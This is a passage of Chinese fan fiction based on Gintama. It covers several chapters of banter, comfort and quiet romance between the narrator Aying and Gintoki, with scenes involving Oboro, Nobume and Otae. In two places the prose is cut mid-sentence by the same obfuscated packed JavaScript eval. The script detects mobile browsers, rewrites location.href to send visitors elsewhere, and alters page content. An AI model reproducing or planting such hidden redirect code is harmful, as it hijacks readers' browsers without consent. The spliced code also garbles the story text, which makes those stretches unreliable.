“喂喂,别想着把阿银丢去医院就能推卸责任啊,假发说感冒忽悠你,你就去替他开那个鬼会议,不带差别对待的!阿银这样怎么也需要贴身照顾好几天……别想跑啊!听着,最近这形势,你哪里都不许去,什么都不许做……”银时低着头,紧扣着我的肩膀,无赖的语气与他浑身散发的气息格格不入。 这是担心我找人出气么? 切,太小瞧我了吧,我是这么冲动的人么?反幕府什么的这种事……要干的话必须一击即中要害才有意义。 “怎么,现在又要照顾了,不是躺躺就好了么?”我没好气地讽他一记,他气一窒,再次心虚地看远方。 “反正……你也得照顾照顾……不带这么偏心啊。”银时对我上次为了桂去开会还跟真选组动手差点暴露意见很大。 我瞥了他一眼,他身上的服装,还有月咏和那个不知道是谁但有点眼熟的蓝色长发姑娘的服装,都是奈落的打扮。 想到我最后看到的那个画面,围观他亲手杀掉松阳的,也是这样的一群乌鸦。还有……胧。 我叹口气,勾起坏笑,眉一扬便把他拦腰抱了起来,“知道了知道了,下次你先直接回去躺着,我还是会照顾的好吧,别把自己代入那种吃醋的娇气小公主的角色好吗。” “等,等等,公,公主抱这种待遇比较适合另一个蠢货吧……你又把自己当男的了吗?”他傻眼后不乐意了,想要挣扎却扭到断骨,顿时痛得冷汗直冒。 “不想变残就别乱动,乖一点,让姐姐我来贴身照顾你哦~”我笑眯眯地看着他,隐约带了点警告的意味。 “不,不用麻烦了……你笑得好可怕……痛!”我稍微用了点力,他嘴角都抽起来了,放弃般把头靠着我,不爽地咕哝,“你个死S……算哪门子的姐姐啊……这种角色你这辈子都当不上了死心吧……” S什么的,绝对是他对我的误解,全歌舞伎町的人都说我亲切随和。 “车来了,阿萤姐。”新八朝我招招手,他叫了两辆。 我挑眉瞥了银时一眼,这不就当上了么,姐姐的角色。他死鱼眼别过头,懒得再跟我纠结这个。 “都走吧,大家都是伤兵。”我稳稳地抱着人上车。 “阿银可没那么逊,包扎一下就好……”坐在后排,他瘫坐着把头靠在我肩膀,还在嘟囔着。 我面无表情地偏头看着他,直把他看得心虚,乖乖地放松身体休息。 “银时,我好像没跟你说过,那天我也在。”不知道为什么,跟高杉说不出口的事情就这样被我说出来了。 坂田银时靠着我的身躯猛地一震,浑身瞬间僵硬,低着头没有说话,垂在我们之间的手攥紧我和服的袖子。 “对不起……银时。”我心底涩然,抬手把他的脸按进我肩窝,不让前面担忧得频频回头的新八看到他的表情。 “所以没关系,我的话,你怎样都没关系。”我难受地感到他的轻颤,却无法为他做什么。这笨蛋难道还怕我会因为他杀了松阳而恨他么…… 松阳不让我亲自动手杀他,不就是想要我在他们中留一丝丝的羁绊和空间吗?可是即使没有我……他们深刻的仇恨和悲恸都是一样的。 桂跟我提过什么红缨的事后,他们就跟高杉反目了,尤其是银时已经连提都不想提起他。 是啊,反目……也不知道算是哪门子的反目。一个连江户城都敢闯,连上任将军都敢挑战的笨蛋,跟那个等着杀上任将军的激进派头子到底谁比谁激进? 高杉和银时之间的结如果只有恨,会简单很多…… “银时,你并没有做错什么……” 只是选择了那个人最想要的选项而已。可就因为这样,他连否定自己选择都做不到,只能遵照松阳的意思走下去。 那个狡猾的老男人,让他们背负了这份伤痛。 可我也没资格责难,因为我……同样什么都没做。 车厢内的气氛变得沉重,我转头看向窗外,放任他偏头把脸埋进我的颈边,连呼吸都极浅。玻璃窗上倒影出他的影子,习惯性上扬的唇角此刻抿得死死的。 良久之后,他才动了动,慢悠悠地开口,声音跟往日一样懒散无赖,“呐……你笑一个吧,要那种傻兮兮的,露出八颗牙,啊,像type-C的那种笑。” “……认识你那么多年,我有时候还是会为你的无耻感到震惊。”我死鱼眼看着窗外黄灯一下一下地划过。 “还有啊,麻烦给阿银准备好一个月份的巧克力芭菲和草莓蛋糕,要家庭装的草莓牛奶,至少每周三顿的烤肉,必须是要带旋转巧克力棉花糖机那种店……” 人无语的时候,真的会想笑。 我扭头朝他绽放灿烂的笑容,一个肘击过去,正中他断的七七八八的肋骨。 新八震惊的目光中,那个无赖的男人爽快地晕了过去。 痛的。 结果,口嗨的男人还是包扎后就嫌弃新来的护士也是A cup死活不肯住院,看他生龙活虎的样子大家也就随他了。 把人送回万事屋后,我硬是被坑了三个草莓蛋糕才能脱身,一个他的,另外两个神乐的。 万事屋这种一脉相承死占便宜的劲头,我算是体验了个淋漓尽致——这两个混蛋比定春还要狗! 刚回到楼下,抬头就看到自家屋顶上的那个傲然挺立的一身黑色夜行服的男人,那头白发在月色下分外醒目。 呵,真大胆,我家离万事屋也不算远。 很想装作没看到,但……我瞥了眼在我家门口斜靠着墙抱手闭目养神的蓝色长发姑娘。 认命地跃上屋顶,我笑着打了个招呼,“哟,我还以为你挂在银时手下了呢,胧。” 月咏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205796|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我说过他们在江户城的敌人,让那笨蛋伤痕累累的就是眼前这个男人。但……不是说打败了吗?怎么看起来他的状态比银时好多了? 哎,不公平,我都想砍他两刀了……然而我没刀,现在废刀令施行很久了,良民确实不该有刀。 “你不应该跟他们再联系起来。”胧面无表情地看着我,仿佛一点也不惊讶十年未出现的我站在他眼前,“松阳的弟子们分道扬镳多年,而你却打算把他们再次聚集起来,想让自己成为目标么?” “分道扬镳?我觉得他们这种状态很正常,打小其实也没怎么团结。” 成年人各有各忙不是很理所当然的么?高杉毁灭世界,桂想要创建黎明,银时……他现在只想保护身边的一切,但……我总觉得这家伙有种隐约的疯狂,只是还没到爆发的时候。 连最脆弱的时刻,在我面前都这般隐忍,他要不是神明或者懦弱的话,总有一天能看到他爆发,对这个时局的反抗。 倾巢之下岂有完卵,他想要保护的所有,总有被时代车轮碾压的一天。那个时候,他想要保护的,跟高杉想要毁灭的,桂想要创建的,可能就是同一归宿。 那,我呢?我有点迷惘。摇摇头甩开这些杂思,我看着他,忽然想起高杉。那个男人要杀定定大概率不会失败,那就是说,胧这一边的人没打算阻止? “你们舍弃德川定定,是为了什么?怎么,想换傀儡了吗?”我打了个哈欠,最近身体一直很累,很想下去睡觉。 “这不是你该管的。”胧冷冷地道。 那他来干嘛?我想来想去也没觉得需要他纾尊到此,而且我总觉得眼前的人跟昔日不一样了 “我以为,你对这些师弟们是有些保护心态的,不然当年你不会以那种方式砍断他们跟松阳之间的联系,让他们有活下来的机会。怎么过了十年,你好像真的把他们当成敌人了?” 也许因为我直接跳到这个时间,这种差异在我看来特别明显。 胧没有回答我,只是审视般打量,忽然道,“他们是威胁,若你也是……那么即使你是松阳留下来的家人,我也不会手软。哪怕下面的人阻止,我也会取走你的性命。” 说罢,他转身离去。 我揉了揉额心,这几年变化太大,让我这个一步到位的有些茫然。看来,真的需要一些资料……还有思考。 身后声响微传,我回头,蓝发姑娘一身醒目的白色制服,英姿飒爽。 “看来,你找到了自己的人生方向了呢,小骸,不,信女小姐。” “你身上的气息很奇怪,不像松阳的弟子,反而跟他很像。”今井信女站在不远处,死寂的眸子紧盯着我,“你跟当年几乎没变化,就跟怪物一样。” “什么怪物,我是人类。而且我本来也不是松阳的弟子,我年纪比银时他们大……好吧,现在比他们小。”谁让我是永远的25岁呢。 从姐姐or长辈混成后辈,我总觉得亏大了。 “你为什么来,保护我?警察保护市民么……不对,你……跟晋晋合作?” 高杉信誓旦旦要杀定定,肯定是有官府的内应,莫非他们……我双目圆睁,没想到又子的情敌是…… “异三郎跟高杉合作,我只是顺便来看看而已。”她好像没看出我的想法,简单地道,“让你活着是高杉的条件之一,但胧看起来不想杀你。” 噢……我有点失望,我挺喜欢这个小女孩的。虽然不是我想的那样,但方才的事还是挺感激,我朝她笑道,“谢谢了,信女小姐。” “你倒是不怕我会趁机杀了你。”今井信女目光不变,冷淡地道。 “不说晋晋的关系,你要杀我的话,早在当年就杀了。以前不会,现在成为今井信女的你就更不会。”我坦然地回望着她。 当年的小骸能违背命令救我,今日已经找到新人生的她更不可能杀我。 “你果然跟松阳很像,难怪决意毁灭一切的那个男人会要你活着。”今井信女偏头盯着我,“时间在你身上……停止了,但你还活着……为什么?” 我也想知道啊……我叹口气,太累了,脑子暂时不肯思考。我看着她,忽然笑道,“呐,信女,要赚外快吗?在不干涉你那位异三郎和晋晋的情况下,跟我合作。” 其实真要说的话,那位佐佐木异三郎更适合合作,但他的目标在于幕府,而我不是。目标不一样,就很难有共识。 无口的面容扬起几分诧异,信女静静地看着我,好一会儿才问,“你想要做什么?” “我现在还没有头绪,才回来几天。但……我想我应该是要做一件大事,需要外援。松阳的弟子里头,目前只有你适合。不是骸,也不是今井信女,仅仅是作为松阳弟子的你。” “为什么?” “因为……girl helps girl。那些男人不懂,也固执得不会懂。”我微笑着撩起她垂在胸前的一束长发,拨到她身后,顺手拍了拍她的头,“考虑一下,如果有一天需要,请帮助我。事成的话,甜甜圈无限量供应哦~” 这个信息是刚才神乐坑我蛋糕时无意间说起的,真没想到看起来那么冷酷的小姑娘喜欢那么可爱的食物。 信女大眼一亮,却没有说话,只是轻轻跃开,消失在夜色中。 我打了个喷嚏,不太懂这两位来我家屋顶是干什么的。 摇了摇头,我跳下去,打开门准备先睡个两天再算。对了,桂还在帮我找那两个天人,等睡饱了要去源外那里看看,怀表好像又有点不对劲。 想做什么都好,身体才是革命的本钱啊。 57.嘴贱不可能暧昧 “小新——” 阿妙的哭叫听起来很让人心酸,我靠在墙边叹了口气,墙内的打斗和说的话我旁听了好一会儿,越听越无语,对坂田银时这个男人悲情英雄式的行事方式十分无奈。 “明明可以柔和一点处理,偏要这样当坏人……真是让人无语。好好一个傲娇,怎么在推开人的时候就那么喜欢打直球呢。” 拉开恒道馆大门走出来的坂田银时冷凝的脸色顿时一垮,没好气地走过来,“你怎么还在这里?不是跟大猩猩他们去宇宙截击的吗?” 啊……前情提要一下,志村家的阿妙姑娘好不容易记起自己振兴道场的设定,打算收徒复兴天堂无心流,恰好他们家以前的大弟子尾美一回归,便打算拉着我们成立全新的天堂无心.光束剑流。没想到过程中发现那位尾美一已经成为了危害地球的光束武器,毁灭地球的危机迫在眉睫。为了新八姐弟,眼前的这个银发天然卷低声下气去求人帮忙和拖延时间,还大方地把我打包给真选组跟山崎一起追踪攻击地球的惑星人的下落。而他则准备独自把真正的尾美一带回新八姐弟身边,刚刚就直球打击了不知内情的新八。 “你妹的前情提要啊,你以为自己是旁白君吗?别在这里浪费时间了,光那两个跟踪狂去能成什么事?” 银时懊恼地一拳揍在我头上,打断我的总结。 原本我是要跟着近藤和九兵卫去截击那个星际波动激光炮,但临行前他们拜托我照顾阿妙,我也担心这边,便留了下来。 “开什么玩笑,我才没有那么笨去帮助情敌,现在正是阿妙最脆弱的时候,我正好乘虚而入。”说反话当坏人谁不会呢? “情敌是什么鬼?你是有性别障碍还是单纯的男女不忌啊?给老子认清现实啊,这里的女人都是女金刚暴力狂,别给阿银招惹些乱七八糟的风流债……”银时戳着我的额头没好气地斥道,“麻烦你干点有意义的正事吧,你要是不去的话就去帮忙处理那些来抓捕的警察啊。” 我拍开他的手,露出志在必得的笑容,“银时,让我去处理那些警察,你确定?” 以我现在对幕府的厌恶感,让我去处理……那就是名副其实的处理了。 银时一窒,用力按着我脑瓜乱揉,“别说那么恐怖的话啊混蛋,什么都不做算什么帮忙啊?” “我不是找到那些天人的位置了吗?山崎先生可是盛赞我的追踪技术呢。”利用真选组搞来的卫星设备,我们极快找到了罪魁祸首和定位了他们的飞船。 “你个弱鸡也就这点能耐了吗?好歹拿起剑来帮忙啊。”银时鄙视我连吃饭家伙都没有,作为一个旧派人,他对高科技都不感兴趣,更不爽我荒废被他们训出来的剑术。 “我有我自己的行事方式,我可是会用脑子的人,才不像某些脑袋空空只会把头低到地面上求人的蠢货……”想起他跪地低头的样子,我表情一沉,甩开他的手闷声道。 很不爽。 不爽他随随便便就把自己放在那么卑微的位置,没有尊严地去拜托立场几乎是对立的真选组,还要以一个人丢脸就够为由不许我去…… 理智上知道他不在乎这些东西,甚至我很清楚这几乎是底层小人物最适当的态度,他的做法是成本最低,最有效的。 但那种无力感很可怕……也让人心疼。 啊……好想把真选组那些看着他跪在面前的人都干掉……反正银时不会这样做,我虽然做不到在剑术上打败那些人……但阴死那群坚守原则的男人还是有可能。 “喂,给阿银把你脑子里的垃圾想法都倒干净啊……这副表情是想要干什么啊?中二期还没毕业吗?”银时的大掌直接揉上我的脸,粗糙的掌心刮得我脸蛋生痛。 想要反驳,他却忽然放轻了力度,手轻轻地覆在我脸上。 这混蛋的手单看很纤细,但实际很大,我整张脸都被罩住了。 “呐……真的,很窝囊很丢脸吗?” 看不到他的表情,但听在耳边的语气居然有点忐忑。 我很是意外,他还在乎这些虚名和形象什么的吗?我回来后看到的坂田银时,没大事的日常里可是一个无赖又危险的流氓哦,节操碎成渣渣,人品还要跌穿地心那种。 拍开他的手,抬眸看去,他偏着头,表情跟刚才揍完新八一样,又拽又S,还带了点痞气的傲然,哪来忐忑? “不,很有大人的样子。”我默了一下,抬手按着他的头拍了拍,“不愧是他们的大哥呢,坂田教头。” 跟阿妙口中的尾美一不一样,但都是可靠的大哥。 “别给老子摆这种长辈款,现在比阿银还要少2岁的幼稚园小鬼!”他抓着我的手腕,对我的年龄锱铢必较,随后不屑地扬眉,“大哥这种称呼能用在阿银身上么……我跟他们都不需要这些。” 我笑了笑,没反驳。 万事屋三人是家人,是伙伴,是不能分开的,所以大哥也好,不是大哥也可以。就如同我跟joy3,他们就从来没说过自己是我的谁,但该照顾的该管的和该骂的一样都没落下,哎。 “大哥这种东西,也不一定都要很可靠,都要作为指路明灯的。有时候光是陪在身边,就算是个只会干蠢事的笨蛋,也是可以的哦。” “别以为阿银听不出你的重点只有蠢事和笨蛋。”银时一副洞悉一切的样子。 我没否认,从善如流地点点头,很认真地盯着他道,“那,这位蠢货,虽然作为大人要像样,但……要是把自己搞得太惨的话,我会生气的……真的会很生气的,狠狠地揍你那种。” 上次去江户城一夜游的伤还没好全,我见过尾美一的激光剑有多厉害……只是我也没法阻止什么,就我现在的身体状况,他绝对不会让我跟过去,不然他也不会把我丢给真选组。 “哼,谁会输给那种东西……”银时扛着刀转身,随意地摆摆手,“他们就交给你了,没用的鸡汤就留着给未成年人和女人灌吧。” 走进恒道馆院子,阿妙正跪在地上掩面哭泣,神乐护在她身边,小脸有点无措,抬头看到我时蓝眸蓦地一亮。 我朝她点点头,走到她们身边,把阿妙抱进怀中,“虽然说女孩子的眼泪比珍珠还要珍贵,但你已经很努力了,想哭的话就哭吧。除了厕所和爸爸的怀抱,我也可以给你擦去眼泪的。” 阿妙颤着身子,脸埋进我怀中,肩膀的衣服很快湿了一片。在新八不在的这一刻,不需要展露姐姐的坚强,她短暂地放肆释放脆弱。 “你还让别人哭……可是我听说过,阿萤是个只会笑的笨蛋……”一会儿后,阿妙闷闷地道。 不用想也知道谁造的谣。我嗤笑一下,温柔地拍拍她的背,“那是因为我是坚强的大人了。但你们的话……现在想哭就尽情地哭吧。不过,不要忘记哭完后要笑就是了。笑容是女人最好的化妆,也是女人最厉害的武装哦。” 阿妙才18岁,在我眼中也是孩子,刚到成年线而已。 “呵……”阿妙蹭了蹭我的衣服,手伸了过来,从我怀中抬起头,半张脸陷入阴影,“对着这样大的胸,我是怎么也笑不起来呢……” “别!好痛——” 什么笑不起来,分明就笑得很恐怖啊!我眼泪都痛出来了! 很快,门外传来喧哗,真选组的人涌了进来,外面还隐约有追问尾美一去向的声响。我护着神乐和阿妙,冷眼看着那群警察走过来。 “为什么要这样对他,阿一大哥他已经……你们就这样想要消灭掉他吗?”换过衣服的新八一出来就看到冲田他们,气得冲上去责问,阿妙连忙拉着他。 当得知真选组的真正用意是为了保护他们和拦下追捕尾美一的其他警察,还有银时背后都做了什么,新八又气又恼,强忍着哽咽,“谁要他这样做啊……他,那笨蛋……” “因为脑子不好吧。”我给他下了个靠谱的结论,“没办法,被这样的笨蛋保护着,你们也只好自力更生一下了。” 新八和神乐无助地望向我,两双单纯的大眼直愣愣地掉眼泪。 果然,笨蛋都是凑一堆的吗?我失笑地拍拍他们的头,“还愣着干嘛,不是要跑起来了吗?” 两人像是惊醒般,跟阿妙一起跑了出去。 “没办法了老板,我可阻止不了他们。”冲田总悟删掉手机里的照片,掀眸看向我,不在意地道,“诶,不跑吗?月见。” 我盯着他的佩刀好一会,才慢慢摇了摇头,“身体不太好,跑不快……” 没有武器真的很不习惯,但废刀令下我又不能明目张胆地带刀上街,看来要把快要忘记的那些体术捡起来才行。 冲田总悟扬了扬眉,眼中泛起淡讽但也懒得追问。 我有点心虚,这少年该不会发现上次主持攘夷会议和被真选组突袭后阻拦他们追捕的人是我吧……其实我真没骗冲田,回来后身体一直很累。 等我到那边的时候,那座大楼已经在崩塌了。烟尘中慢慢走来那几个身影,我视线落在那个被神乐架着搀扶的人身上。 一头的血,伤痕累累的身体,还有胸腹间不停淌血的伤口……我叹口气,该庆幸没断手脚吗? “阿萤姐……”神乐有点委屈地看着我,今晚她一定很心疼他们,却又无法做什么,跟我一样。 我指了指身后,“我给你们叫了车……神乐,帮我把他送去医院可以吗?” 神乐点点头,我径直越过他们,走向哭得稀里哗啦的志村姐弟。 “喂……”银时抓着我的袖子,气弱地道,“你怎么这副表情……生,生气了吗?” “对哦,我都忘了。”我抽回袖子,回头微微一笑。 然后,一拳把眼前的天然卷揍进地里。说过了,是狠狠揍他的那种生气,得说到做到。 “银酱!”神乐吓了一跳,手忙脚乱的把人揪出来。 “那个……阿萤姐……”新八目瞪口呆地指了指那边。 “别担心,死不了的。”我又不是他,知道轻重的。 我伸手抱着姐弟两人,安抚般拍了拍。 一夜好眠,我打开露台的玻璃门,还没看到好不容易养活的花一片银白色就这样撞入眼帘。 “早……”蹲在我露台栏杆上的银时灿笑着挥挥手,“要超级甜的草莓蛋糕做早餐开启美好的一天……” 啪的一下,我拉上玻璃门,转身打了个哈欠。 “喂喂,阿银可是一大早就去那家死贵死贵的蛋糕店买的,你看,我都把最喜欢的草莓牛奶给你带过来,你还生气就太过分了!赶紧给阿银双手合十八字脚高呼银桑赛高啊~” 银时拉门进来,没两步又退出去踢掉靴子再走进来,一路絮絮叨叨地,语气从小心翼翼到最后有点找茬般的理直气壮。 我懒得理他,自顾自地走进洗手间刷牙,桃子味的牙膏让我心情都好了不少。 “别不说话嘛,冷暴力什么的现在的社会已经不流行了,”银时抓着门框探出头,鼓着腮嘟囔,“阿银可是把这周买jump的钱给你买早餐了,还不够吗?你倒是说话啊,都说了冷战是幼稚园小鬼的把戏,你以为自己是老公三天没回家的怨妇吗?” 我忍了又忍,才没折段我的青蛙头牙刷,没好气地瞪他一眼。 蠢货,我在刷牙能说什么话?喷他一脸白沫吗? “你说的是太惨才生气的……阿银哪有太惨,看吧,连医生也说不用住院的。”他豪气十足地拍拍腹部。 我擦了擦脸,随手一戳。 他顿时石化。 “你个死S,动手前也打个招呼啊……不对,你有力气的话昨晚怎么不帮忙?那个激光剑你不是很有经验的吗?以前就跟辰马两个拿着对打,要不是你两个玩嗨了把房子给劈了差点砸死……也不会被禁用……” 我转身,把亦步亦趋的人拦下,然后关上房门换衣服。 激光剑啊……高杉禁用的,因为差点砸死他……我和辰马还被罚写了三篇俳句,简直比绕山跑十圈还难受。 “喂……揍都揍了,阿银还没投诉你趁人之危……”外头的人坚持不懈地念叨着,推门的木框还发出那种被猫爪刮过的刺耳声响。 “这个蛋糕可是限量版的,超级多人排队又贵,一般人阿银才不会请客啊,你知道为了躲开神乐那个鼻子比狗还灵的家伙有多难吗?差点就被她发现了啊。话说回来,你家的牛奶储备怎么那么多?你也觉得草莓牛奶是王道吗?还是说是为阿银准备的……” 门外声音已经有些嘚瑟了,我无语地翻了个白眼。 请客……骗谁啊,那家店的蛋糕兑换券还是我给他的好吗?至于牛奶……还真不是我特意买的,是超市的小姐姐太久没见到我热情地给我用积分兑换的。 我叹口气,懒得回答他。 门外的声响停了一下,我换好和服拉开门。 蹲在门边的天然卷抬头眨了眨眼,看起来像是等喂食的大狗,但脸蛋上浮现的可疑红晕又仿佛是偷腥的大猫,而他的怀中已抱了好几盒眼熟的家庭装草莓牛奶。 我挑眉,好整以暇地看他越发心虚的脸。 “啊哈,这不是想偷你的牛奶哦,看吧,这日期还没给你带的新鲜,阿银帮你以旧换新而已。你知道什么叫以旧换新吗,就是一堆旧东西才能换一个新的事物哦。” 五盒1L装的换一个250ML的……要脸吗他?太狗了,顺手拍拍他的头,我走向厨房。 银时站起来长臂一伸直接箍着我的脖子,“喂,你知道吗?新八他们有了一笔钱啊,太过分了,阿银打得那么努力,结果钱都是他们的……还有,对面的大叔会在露台光着屁股跳舞,你可别去偷看,那大叔干瘪得像排骨……什么,你还生气?那,要不阿银也给你跳个舞?你的那个sorrysorry哦~” “闭嘴……”我随手给他一肘——那是我跟我妈的偶像! 身后的人忽然就弯身靠过来,脸枕在我肩头,微暖的呼吸喷在我耳根及和服后领露出的颈背,“呐,别生气嘛……对不起了,可以吗?” 漫不经心的嗓音听起来软软的,温厚得有种诡异的撒娇意味。 颈背的汗毛骤然竖起来,我慢半拍地回过神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229046|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种酥麻迅速蔓延,连心跳都仿佛撒了包跳跳糖在心脏上般,越发激烈地跳动。 那乱糟糟的发搔着我的脸颊和耳朵,无端的热气袭上耳根,我不自在地偏了偏头。 “不是说道歉就不生气的吗?适可而止哦,不然阿银要生气了……你别学那些矫情的女人不依不挠那一套,安安分分地当你隐藏的死S啊……” 懒散地说着混话,他的气息拂过耳际,心跳不断加速,我快听不清他在说什么了。 “好吧,我错了,我没生气……昨晚不是揍过了吗?不过是你念念叨叨的样子太好笑了,我才懒得说话的。” 没办法,他跟在后面像只等喂食的大型动物般,还一直嗷嗷叫的样子有着违和的萌,我才忍不住逗他的。 我动了动肩膀想甩开他,没想到这家伙就这样靠着我晃了晃,硬是不抬头。 “什么啊……这是故意坑阿银去哄你吗?啧,狡猾的女人,你什么时候学坏的?”银时蹭了蹭,下巴搁在我肩上,坏笑着,“早说嘛,阿银就不买草莓蛋糕,直接给你念几本脑残言情小说就够了……十八禁也可以哦~” “咳咳,谁,谁坑你,还有十八禁什么的我怎么可能看啊……我为什么生气你自己没点数?”不服输的意气一起,我镇定地偏过头,直视那双过分靠近的红眸,“还说什么假发胡来,明明你最乱来好吧,又把我的委托给忘了?这样的服务水平我可是不会付委托费的。” 太近了! 我几乎清晰地看到那双红眸里我自己的脸,看到他眸底的戏谑和调侃之色慢慢褪去,只剩下我的样子。带了丝甜腻的气息跟我的呼吸相触,我有种空气都要被他抢走的错觉。 银时蓦地心虚般转头,下巴还搁在我肩膀,旋得我肩窝生痛。他气弱地咕哝一下,“那种程度而已……知道了,反正阿银只要一个巧克力芭菲就可以满血复活,跟你这样的弱鸡不一样。” 酥酥麻麻的感觉再次从肩膀漾开,我呼吸都有点不顺,指尖轻动,忍不住抬手推开他下巴,径直走进厨房。 “啊啊,不说你弱了,我们去源外老爹那看看,冲田那小子忽然跑来跟我说你脸色看起来很差……不是,他怎么那么关心你?阿银不过少盯一晚上而已,你该不会对那小鬼做了什么奇怪的事吧?明明只让你跟山崎一起追踪敌人,怎么会跟那S小鬼熟起来?属性一致也不行,他可是警察啊……诶。” 莫名其妙的指控终止于我递给他的巧克力蛋糕。 他不爽的嘴脸瞬间变得惊喜,星星眼捧着蛋糕,脸蛋又浮上两团红晕,整个人都沐浴在幸福的泡泡中。 我好笑地睨着他,“你只看到牛奶就没看到它吗?这视力和注意力可不行哦,这可是那家店的销冠,比草莓蛋糕好吃多了。” “身价也高很多,但……别轻视草莓蛋糕啊混蛋。”迫不及待地打开盒子挖了一勺,银时满足得眯起眼,“你不是说它太贵不划算吗?上次我们三个磨了你一下午都不肯,这次怎么会买?” “哄你啊。”我凑到他面前,笑眯眯地道,“昨晚一时不爽揍了你这个伤患有点过意不去。” 其实是昨晚回来时店里刚打烊,用月度会员福利半价买的,本来打算等下过去找他,没想到他先找过来了。 “啊……”他愣了愣神,眼珠子往上转了转,不自在地退了一步,“也,也没什么……不对,你自己都过意不去,还装生气的样子,你这爱逗人的习惯什么时候改一下啊!喂,我还没说完,你站着别走……没人跟你说阿银认真说教的时候要乖乖地当听众吗?” “银时,”我忽然停住脚步,抿着唇委屈地看向他,“墙角踢到脚指头了……” 好痛!都怪他挡在门口。 “你啊……蠢的程度是打算要挑战假发吗?”银时叹口气,没撤地扶着单脚跳的我来到沙发坐下。 他单膝跪在跟前,把我的脚搁上他腿上查看有没有伤到。 因为穿和服的关系,我不得不微微后仰,他反而有点倾身过来,这姿势感觉怪怪的。脚心传来他大腿的温度,他的手指轻触我发红的脚指头,指腹有薄茧,触碰发烫的伤处时带来一阵莫名的酥麻。 “没,没事,缓缓就行了……”我忍不住想要缩回来。 “别动,”他抓着我的脚,温热从他掌心传来,熨慰着我的皮肤。 “流血了你没看到吗?”他问,没好气地。 流血……算什么,我都觉得血气逆流了。趁他低头不注意,我抬手贴在脸边,果然很热,浑身都不对劲起来。 “蠢货,你还记得自己不能流血吗?要是身体有什么问题怎么办啊。”他嫌弃地瞪了我一眼,红眸微微睁大,“看吧,你脸都充血了,不行,我们早点去源外老爹那看看是不是有什么问题,没准你跟机械人差不多,他能加点机油。” “没那么严重啦……”我脑子有点被烫懵了,呆呆地望着他。 他眸底飞快地掠过一抹笑意,快得我以为是错觉。银时微微前俯,手抚上我额头,挑眉问,“怎么,看阿银看傻了吗?” “才没……” 他的手没有直接拿开,而是顺着我额际滑下,指尖把散落的发别在我耳后,仿佛是顺手般捏了捏我的脸蛋。力度很轻,不是平日那种戏谑的掐弄,轻柔得让我有点无措。 我呼吸微窒,这混蛋……是故意还是无心? 我无语地瞪着他半响,脚跟用了点力碾他的腿,“银时,你其实是天然系吧?” “昂?阿银可没吃什么奇怪的果实哦。”他扬眉轻笑的样子难得温柔,五官也变得比平时紧凑。 我蓦地意识到,这个我看过他顽劣孩子样,也见过张扬少年时的家伙,好像真的长成了灵魂干净坚韧又……意外好看的男人了。 “喂,别神游,阿银跟你说啊,今天就别乱跑……” 而这个男人此刻蹲在我跟前眉眼低垂一直嘴不停地念叨,手却轻柔地给我上药,我忽然瞥见他的耳尖红通通的,在那头银白色的发下分外明显。 朝阳从窗外洒进来,落在我们身上,外头叽叽咋咋的鸟叫附和着他的碎碎念,家里的空气好像弥漫着一股说不清的甜味。 “别发呆了蠢货,赶紧把你跟冲田那小子不可言说的所有事都交代清楚,那小子才多大你不是不喜欢年下的吗?风流债别惹到警察啊,还是你想跟假发一样打入内部?拜托,你脑子上线一下好吧,什么?脑残这点你还想赢他?虽然脑残这方面你的确天分很足……痛!” 听不下去的我用力踹下,还好心地避开了他的伤口。 “啊——” 惨叫声掩盖了外头的鸟鸣。 “你个混蛋……老子给你上药不跪地感恩就算了,还这么粗暴地对待阿银的OO,这可是无数女性梦寐以求的东西啊!”夹着腿捂着下腹在地上打滚的天然卷气愤地怒叫,那语气仿佛我干了什么大逆不道的坏事。 “想太多了,那种东西拿去喂定春都会被嫌弃。”我靠在沙发上,懒懒地看他打滚。 呸,甜什么甜,草莓蛋糕搭草莓牛奶当早餐能不腻吗! 58.坑熟人的万事屋 像是修理厂一般的房子里,我和万事屋三人凑在一起看老旧台式显示屏里头的人体分析。 一个人体线条简图里头,心脏的位置标了个红点。 “呐,老爹,这是什么意思?她心脏有问题吗?”好不容易养好了伤的坂田银时看了半天没看懂,转头问道。 我心下一紧,也看向戴着奇怪护目镜的老头。 “不,这是我新研发的灵魂本质分析机器扫描出来的结果,她身体里有些奇怪的东西,但我也不知道是什么。也许是她的灵魂。”老头哈哈大笑着道。 “不,我的灵魂浩瀚深奥,绝不可能是那么一点。”我就不该被银时忽悠去扫那台机,看了眼摸着下巴挑眉坏笑的男人,我一脚踢了过去。 “老爹,给他也扫一下。” 新八和神乐会意地咧出坏笑。 “喂!你们是这样对待阿银的吗?”银时反抗的话还没说完就被新八和神乐塞了进去。 扫描的结果……屏幕上连人体也没有,只有一碗满满的饭的描边,据说那是他的最爱宇治银时特制红豆盖饭。 “确认了,这台机器就是闹着玩,没什么意义。”我摊手。 “不是扫出了银桑的本质了吗?果然很厉害啊。”新八推了推眼镜,惊叹道。 我叹口气,拒绝再搞这些实验,“还是看看怀表吧。” “这表就是动力不够,我尝试充了电,是按这个启动吗?”源外老爹顺手按了按那个不起眼的按钮。 “不对!”我吓了一大跳,连忙冲过去,时间又开始动了!我抓狂地道,“按了啊!怎么办?又要开始了吗?怎么办啊银时?” “总,总之别紧张,先,先找个时光机……”银时被我的反应吓到,一头砸进旁边的机器人打开的肚子里。 